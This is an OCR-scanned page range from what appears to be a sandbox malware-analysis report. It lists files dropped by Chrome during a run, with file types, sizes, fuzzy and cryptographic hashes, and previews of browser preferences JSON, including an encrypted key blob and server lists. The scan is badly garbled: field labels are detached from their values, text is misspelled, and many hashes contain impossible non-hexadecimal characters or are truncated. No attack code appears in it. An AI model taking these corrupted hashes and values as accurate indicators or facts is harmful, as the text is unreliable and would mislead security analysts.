{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9QUAAAAAABAAAAAAGAAIAAAABDVAGjLg1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRYJjDXn4W2fxY qQj2xfYeAnS1
VvCL4JIXAsdfljiw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPWI8XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016104655"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\60e261c6-2551-4b9b-aec4-€016193993dc.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

94052

3.7441080070166115

false

384:LULxKuwnlYPMyV/xO1Nyr3vm+3NmoBHMpG5wrrdalxIMoY 7rj+mPOblCuul08AGe:GG6IRSYtRkeDg6IMfXGIKQUCVg
E9AE414BCF5A0ADABBF455A7F4340724

1BF2B2B9D903DEDF4E74F1D09C60B895A1E19213
32BA064F661628C596E06584F7DOFE06503EB271DF4459D11E192C57B2B59729

930023B0BFF7F7891180EBCEOCFC2B100E658CE15A8ED5823B584335F8E14DDD8FBE32BDE2427A1AC8760D22A862A1FBD7624A583D92D087CE75FED12695F 3!
B

false

‘0. ...C..\.P.R.0.G.R.A~1\M..LC.R.0.S.~.1\.Offic.el6\G.RO.O.V.EEX..DLL.PL...%.p.r.o.gram.files.%.\m.ic.ro.s.o.ft .officeloffic.e

.1.6. .g.r.o.o.v.eex.dll..Micros.oft .Office..2.0.1.6..*.Micr.os.o.ft .O.neD.r.ive. .for. .B.us.ines.s. Exte.ns.io.ns...16..0..47.11..10
.0.0....*...C.\P.R.0O.G.RA~1\MIC.R.O.S.~1\.0.fficel6\GRO.OV.EEX.D.LL...Micros.o.ft .Corp.ora.tio.n...78D..C.:\P.ro.g.ram. .Files\C.0o
.m.m.o.n. .F.iles\M..c.r.os.0ft .S.hared\O.F.FICE.16\ms.0shext.dl.@...U/..%.comm.o.n.p.ro.g.ramfiles.%.\micro.s.o.ft .share.d\o.f
fic.e.l6.\...ms.oshext.dll..M.icros.oft Office.)..Micros.o.ft .Office..Shell Extens.ion. Handlers....16..0..4.26.6..1.0.0.1....D..C
\.P.ro.g.ram.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\6f50b598-266c-4386-9e67-e9aald69b0b7.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

92068

3.7431976156370754

false

384:CULXxKuwnIMM701Nyr3vm+3NmoBHMpG5wrr4alxIMoY 7rj+mPObICuu1lO8AGNP1ix:n6IRSYtRkeDg6IMfXGIKQuUCVq
C309DA3C828554609B0974C58AFFIFOF

66D40A7B93E3033DB78B6B7A3B1AABCDIBE18656
2A3F91F5A3AAC64DA16ACLFE42009881169D4114A5FE72DC3DAB05E6BBB880SA

4A87A4B9E10D46A015C236C39BBE3F3399A3E4ABEGG36A146874D811D14928D53ABCD5E00A91D9BBCC3C2BD6EG882AE6ICFFFCEA46568A0664156194864B8A
0

false

...C..\.P.R.0.G.RA~1\M.I.LC.R.0.S.~.1\.0Offic.el6\G.RO.O.V.EEX..DLL.PL...%.p.r.o.gram.files.%.\m.icro.s.o.ft .officeloffic.e
.g.r.o.o.v.eex.dll..Micros.oft .Office..2.0.1.6..*.Micr.os.o.ft .O.neD.r.ive. for. .B.us.ines.s. .Exte.ns.io.ns...16..0..47.11..10

.m.m.o.n. .F.i. U/...%.c.o.m.m.o.n.p.r.o.g.r.am.files.%.\m.ic.r.o.s.0ft .share.d\o.f
fic.el6.\...ms.oshext.dll..M.icros.oft Office.)..Micros.o.ft .Office..Shell Extens.io.n. Handlers....16..0..4.26.6..1.0.0.1....D..C
\.P.ro.g.ram.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\7al2da7a-550b-4b52-a888-32cd320743c7.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

155738

6.0541525673113785

false
3072:WBupswhCSU8AYeuAHFcbXaflBOULGOJmMA3iuRQ:WBCDbXDAYtAlagfllUO0oSiuRQ
78824969B777055F8DAABFAL7FICAC41
F3DDBA702CD69D5C03049C7F3119CE942457B64C
2379F426881COEC56C3FEC2F3A904DB4DA14F793247A8EE2B266146F0F1FFDBB
FFCA49CE3F6B37D7F625E66A7732A63D7FF7A930317EF107959BE28F9A7961EB8B345B7BA4379EO0FDA79A5FADE4244556914B1823C5180CA66DB807F59167AES

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\7al2da7a-550b-4b52-a888-32cd320743c7.tmp

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"origin_trials":{"disabled_features":
["SecurePaymentConfirmation"]},"os_crypt":{"encrypted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWK194zTZq03WydzHLcAAAAAAIAAAAAABB
MAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr2ZbBFieQUAAAAAABAAAAAAGAAIAAAABDVAQjLg1dOS7IKRG21YVXojnHhsRhNbP8/D1zs78m
XMAAAABO0450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1vCL4IXAsdfljiw4oXIEAR7I0AAAABIt36FqChftMIb7EtaPWIBXRX5Y944rq1WsGWcOPFyXOajfBL3GXBUh
MXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"132

C:\Users\luser\AppData\Local\Google\Chrome\User Data\87e62352-1da4-4a74-9183-cc7f4f55bfc7.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 155141

Entropy (8bit): 6.052645805924378

Encrypted: false

SSDEEP: 3072:0BupswhCSU8BAYeuAHFcbXaflBOu1GOJImMA3iuRQ:0BCDbXDAYtAlagfllUO0SIiuRQ
MDS5: OFBDB5694AB7245E39DDFECE5S3D21500

SHA1L: OEACOF189A5B506918C6469720E25E7F5A9F52DE

SHA-256: A2D8E43041C026345BC98F887067B00E40492721B3001B599661CAB67B69DFEL
SHA-512: 2AC179234B9A45620783460EBAF6C26A119C203BBCF3FFB58BD08BD83C27802888F4BA09BF3161D7234CDE43B9A45577B272C0AF21555D715857D1ED337EDBC
Malicious: false

Preview:

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9QUAAAAAABAAAAAAGAAIAAAABDVAGjLG1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1
VvCL4JXAsdfljw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPWI8XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016104655"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
Category: dropped
Size (bytes): 120
Entropy (8bit): 3.254162526001658
Encrypted: false
SSDEEP: 3:FkXftOXE1G1mstftOXE1G1mstftOXE1n:+ftIELGImkfIEIG1mkitIELn
MDS5: E9224A19341F2979669144B01332DF59
SHA1L: F7F760C7104457DF463306A7F7BAE0142EFCEBSB
SHA-256: 47DD519C226D23F203ACAEOEC44DF9BB6208828E24F726E1602EA52F63C3E2BE
SHA-512: 4184302DEB5009D767FECFC150F580DD57D5CF9CF3BFEB7E52C9F3340E5E6499251B9FODFF37F0454411FED9046880E0A9204312D021294256372C916B8155AC
Malicious: false
Preview:
SAPC..ovviiin Sh...M..2.1.%sdPC......cooovee Sh...M..2.1.%sdPC......coooee sh...M..2.L.%

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\10a8fa7e-7e68-4d0d-817b-6f2cdc880d7c.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3347

Entropy (8bit): 4.852217271762791

Encrypted: false

SSDEEP: 96:JTNOCXGDHzM7MXITrO6NrojaTaOmLmVFU+GOFVeViNhH:JTnOCXGDHzM7MXITrO6NrojaTa0a4FTN
MDS5: 6638E7CBB94510A84203C18780844714

SHA1L: 8F324F88260099039AFB666176F8559F2D59696B

SHA-256: A52474CB840EA3BFEAO3EFB6BA90F3B81348847380886AEE4E2FBO6F5EE1A9943

SHA-512: 62F1440AC84D6E66883E3AB57551991643E4B47917447B44512A4695F99F2C5155971DD92C593F07371DDC4FBF61D52B0895EA078E16FCD309C739BDEBAD168C
Malicious: false

Preview:

{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","s

upports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":

[1,"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.c
m","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://sslcnd.aioecoin.org","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[50],"expiration":"13265967133169315","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.

com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13265967133189455","port":443,"protoc

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\16ec3aa3-63f0-4cda-8afe-de9caeec48ad.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\16ec3aa3-63f0-4cda-8afe-de9caeec48ad.tmp

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

ASCII text, with very long lines, with no line terminators

dropped

5413

5.173197793685388

false

96:n099KFPcfd8vtdDrHQuwycVcf7ok0JCKL8VbOTQVuwn:noi+fd8v7DjCyc34K6

AC762CE5C43368A37DFE7B3EC8C04365

F627AB03CBA1061966D1882F327338759FFB3F5B

C1279F74062C47813B1DFB610A845879C2EBAB4B2EDALOFBF956476F301FC4D4
07B73283628B80554189092E5224D82FD85503E1FDFB3837A86A2C051D022BD7F445AF58C8EEED482A662DC5F5957AF4FFOES8CIES2991B26F40776C4BB3BBB1

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13263375128405251","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcom
e_page":true,"navi_onboard_group™:"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":1
0,"work_area_bottom":984,"work_area_|left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":[*0","0","0"
"0","0","0","0","0","0","0","0 "o","0","0","0","0","0","0","0","0","0","0","0","0" 'o","0","0","0","0","0","0","0","

"0 "7355378"],"daily_received_length™["0","0","0","0","0","0","0","0"," 0 0"

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\232c279a-26c1-4387-85dd-fa734f2ecbh0a.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

modified

5998

5.196044045066679

false
96:n099TFOjcfd8vtdDrHQuwycVcf8ok0JCKLB3CkMXONKBZhHbOTctVuwn:nobZfd8v7DjCyc84KbkMwkrJb
6FDCCDB351AC94893AF8808AE081CCC5

EFOB2B9C0C06D076C915D5E1B7B945D4FASC3FCB
CBDE2888AB85ACE145BDCA7A9ES3718F0162C1A0A4A54E954D4A3A56FA156B04
698E322194E8CA3F449A0280F80DOEE3353AF950C92BOCA54DBC370BF2586BC2F17FD75811F9BOF94FBC6A04F2447C2DFA208E64907379FFE9587484FF260CA3

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13263375128405251","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcom
e_page":true,"navi_onboard_group R

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\23420e37-c5d0-4c72-b673-970c9e965aa5.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

2376

5.594863842580759

false
48:YYUtBVWUtO1zgUdk6UUhGUY7DeUCYuUIUfseKUewgPeUer2UefinU2wUiUenw:JUtsUtINUddUUOUMDeUCYuUIUf3KUGPeG
5F749D4425A805AD8A661DF5D8EF30F8

C909E6C7DIDDAOE518A4BC87A7D415C7A9E4A0FAL
8612B7F68A202985DFE53064C78A9290A7104A909E74A48165CC1EC8BEBA082C2

CCB8E4B91961336C07D55AF6A332B17C5E95D1E53863B75DB0601F1445DB5A22499C859E8E58D979FC3AC3EE3E80699F46737EF33E4AF4AFE6C8CI659EAEESBE!
5

false

{"expect_ct":[],"sts":[{"expiry":1650437564.997418,"host":"AVsuOZgBgOwdpKMoxm8zihjgET8kI4XI8bCSMk28RsE=","mode":"force-https","sts_include_subdomains"
:false,"sts_observed":1618901564.997422} {"expiry":1634681535.894217,"host":"E10e7Gwg5+phsYD4E8qNYFsQySXnIHPAfo4zloUPESc=","mode":"force-https","sts_i
nclude_subdomains":false,"sts_observed":1618901535.894222} {"expiry":1650437536.558335,"host":"LyHgf7kgknXbZw+eQHnMgqC7L0Oc9JalSIe8 Twcx0rTs=","mode":"f
orce-https","sts_include_subdomains":true,"sts_observed":1618901536.55834} {"expiry":1633014077.350499,"host":"OuKIWsMW1dkkbl1X/0i600Y95ZNSWnSoeal XAEY
Plv4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1601478077.350503} {"expiry":1650437551.423324,"host":"PKqosHGXLFTwexcsjC+UXT
kKV3GWWHwtzKz/ULb9ssM=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1618901551.423327},{"expiry":1650437551.804631,"host":"alZT
YINSUSIj8xKbRz2eU2pqvpuOBdbHFtk7jbKGSQI=","mode":"force-https","sts_include_subdomains":true,"sts_ob

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\28901f1c-e599-45c3-befa-457797a78849.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

1707

5.583575004861501

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\28901f1c-e599-45c3-befa-457797a78849.tmp

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

48:YBBVwUtO1zgUdk6UUhBUfseKUewqgPeUer2UefinU2wUiUenw:IsUtNUddUUTUf3KUGPeUQUEPUZzUIUD
DFB94B75E86FA650DD65A93833396E4B

BA331357798175BFA00599D0C79215ACD901255A
A3E9E18050E322107EAFCE20B0866F765A88CA31356A441218359935DF357DCE

53FEA7A39CA65D1CD62B4614DD9C43B3AA421DC6DC6C27CCBF24BD9832EA0CO6C42BEFD39A6B44A99EBCDBC29CF759EBA7A30BB2D798C23FAF76943CES5
88B7

false

{"expect_ct":[],"sts":[{"expiry":1634681535.894217,"host":"E10e7Gwg5+phsYD4E8qNYFsQySXnIHPAfo4zloUPESc=","mode":"force-https","sts_include_subdomains"
:false,"sts_observed":1618901535.894222},{"expiry":1650437536.558335, "host":"LyHgf7kgknXbZw+eQHnMgqC7LOc9JalSle8Twcx0rTs=","mode":"force-https","sts_i
nclude_subdomains":true,"sts_observed":1618901536.55834} {"expiry":1633014077.350499,"host":"OuKIWsMW1dkkbl1X/0i600Y95ZNSWnSoeal XAEYPlv4=","mode":"for
ce-https","sts_include_subdomains":true,"sts_observed":1601478077.350503},{"expiry":1650437535.730634,"host":"e3SziuwfuO2UvuBno+gkR10bHAzZmSUoJhrc7dbP
1Uo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1618901535.730639},{"expiry":1633014077.22511,"host":"nAuqgR4IEWti7SOdT3UHPI6r
mzU/Dealm38P2020kgA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1601478077.225114}{"expiry":1633014092.4175,"host":"0J7rAWV0
0oUCFYJ9XrkDiKnAO1SshXIJmLJE1SS3V8kDM=","mode":"force-https","sts_include_subdomains":false,"sts_obser

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\414c7795-3046-4a93-a0aa-d0856b8ac01b.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

22596

5.535504844055926

false
384:S3CtNELIgFXX1kXgKf/pUZNCgVLH2HfDFrU2HGMNTBL14u:9ELIOX1kXgKf/pUZNCgVLH2HfZruwGM1
DOA1D73961342992640EBDCB852C5D8B

BA206CA78C28042E48356F7A50E1911F57ABDF42
290751DA2850F3EBEA50749D42801213C246361C80F94D80F9044E4EOECE2242

08078ACC646BE1D5E263CF6337194128568C6AB3DA98E7B7FFFAED30823C4E13D4D029B7C09B715B10EAC853AE466477C3BB5A1FBO964EE68159A069A20A42E
4

false

{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[1,"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13263375128116110","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCt
13tO00sjuzRsfExtD2SKxPITfuoy7AWoObysitBPVH5fE1INaAAL/2JkPWkVDhdLBWLalBPYeXbzIHp3y4Vv/4XG+aN5qFE3z+1RU/NgkzVYHtlpVScf3DjTYtKVL66mzVG

ijSOAIWbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYWQIDAQAB","name":"Web Store","pe

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\495d2c21-6e51-4ebc-b7e4-4eb9cd382acf.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4068

4.818861918388007

false
96:JTNOCXGDHzM7MXITrO6NrojaTaOmVOGOUVFVmLc+eVi+XxZ1kVvuhH:JTNnOCXGDHzM7MXITrO6NrojaTa040ORaT
A1A39DEC2B27B0CC6327BD4E831B3538

0CB1B8C7D8BBE3AD3C856D647B48B3449DF549E0
F6608015EE578E33BAE3A344F48062C908A6798208BF674350764F44FCBDC3AL
836F5491FE5F284AE222BABBE816613B61438065653F13DF39C6F6415120925D57DD9A6072200BF45DADF78D65E2B7FDOE3D1D5CEF48C33393D0C843CA002265

false

{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","s

upports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":

[1,"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.c
m","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://sslcnd.aioecoin.org","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[50],"expiration":"13265967133169315","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.

com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13265967133189455","port":443,"protoc

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\49baa814-f561-4f12-ae6d-489d01d40098.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

5998

5.196119235730837

false
96:n099TFOwcfd8vtdDrHQuwycVcf8ok0JCKL83CkMXONKBZhHbOTctVuwn:nobAfd8v7DjCyc84KbkMwkrib
57ABOC90AACIC6BOB4BE25D61ECICAF3

47B3E180D04C26EFOC4E002096C9C86994076285
07FBEDCB35DBBD94456A464DC0ODC44962720E64335A3567E880E96456196953A
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\49baa814-f561-4f12-ae6d-489d01d40098.tmp

SHA-512:
Malicious:

Preview:

22863801689FAADA83402ED1D259523D6432D397572A4C5742B439CC359F460E19D06E1B2D85C5D2A3ESD1E442F12EAGA0836188165ADB35730D9999D8428627

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13263375128405251","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcom
e_page":true,"navi_onboard_group™:"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":1
0,"work_area_bottom":984,"work_area_|left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","
"o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"","0","0","0"","0"","0","0","0","0","0","0","0","0","0","0","
"0","0","0","0","7355378"],"daily_received_length™:["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

" ngr

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\591cef64-6fc3-45a2-844d-c95630ff0265.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

5776

5.186375240745149

false
96:n099TFOVcfd8vtdDrHQuwycVcf8ok0JCKL83CkMXXThOTctVuwn:nobrfd8v7DjCyc84KbkMnb
728DFACEDA410C52A61EEC93726BE342
2E316F0998369C5A817D53B7B87FC1BCDO9EB7ES
FA3446CB6EEB57AC596B30BC194ADE9B2A75015D320A15EB9736C7E51587E6B4

A982FA9AADEBA0403AC93BD50A25305201CB594B0259D6036B4BCC40B6COAC8273C68A6AD2F01FF40B99D33AA852B3875DBECBF156A5D6B8AF0222E6E11108
56

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13263375128405251","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcom
e_page":true,"navi_onboard_group R

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\5ccba7b0-ffaa-497b-9458-1cbfd5298559.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4068

4.8187741692642945

false
96:JTNOCXGDHzM7MXITrO6NrojaTaOmVOGOUVFVmLc+eVi+XxZ1kVvuhS:JTnOCXGDHzM7MXITrO6NrojaTa040RaW
1ADA08B4C8BF6AED2435F358DDBADD2D0

C319BB12443F9065C050FD6996D995505EF6159D
C3ED7A19AA2B423D8D7139A4D4F6D979E7CA32AAF36B99DCIFFA30DB4A25548C
1676E91799FFA07B8581C23D90F41A94619256C2604153AA2916010DEEC834E91346E87C6AC493DA489B13CF7167020C705B07A6C17F5A1050B60B3CBOASB2E9

false

{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","s

upports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":

[1,"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.c
m","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://sslcnd.aioecoin.org","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[50],"expiration":"13265967133169315","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.

com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13265967133189455","port":443,"protoc

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\5cfdfa3a-2490-4047-87aa-d0d82c426968.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4219

4.871684703914691

false
48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqgnsllzMHpDCLsSWJIMHLSNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH
EDC4A4E22003A711AEF67FAED28DB603

977E551B9ED5F60D018C030BOB4AA2E33B954556
DD2C9F43F622F801FCC213CDESE3E90EF1D0D26665AE675449A94CEC7EB1D453
84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD160:

false

Copyright Joe Security LLC 2021 Page 29 of 60



C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\5cfdfa3a-2490-4047-87aa-d0d82c426968.tmp

Preview:

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advert
ised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","support
s_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":
"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"serve ttps://clients2.googleusercontent.com","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"1324854350

